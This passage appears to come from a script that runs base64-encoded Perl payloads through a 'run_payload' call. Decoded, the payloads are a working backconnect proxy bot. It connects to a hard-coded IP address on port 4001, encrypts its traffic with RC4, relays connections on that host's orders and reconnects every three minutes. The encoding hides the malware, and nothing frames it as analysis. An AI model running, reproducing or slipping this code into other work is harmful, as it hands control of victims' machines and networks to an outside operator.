vY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_12.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTYxJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XS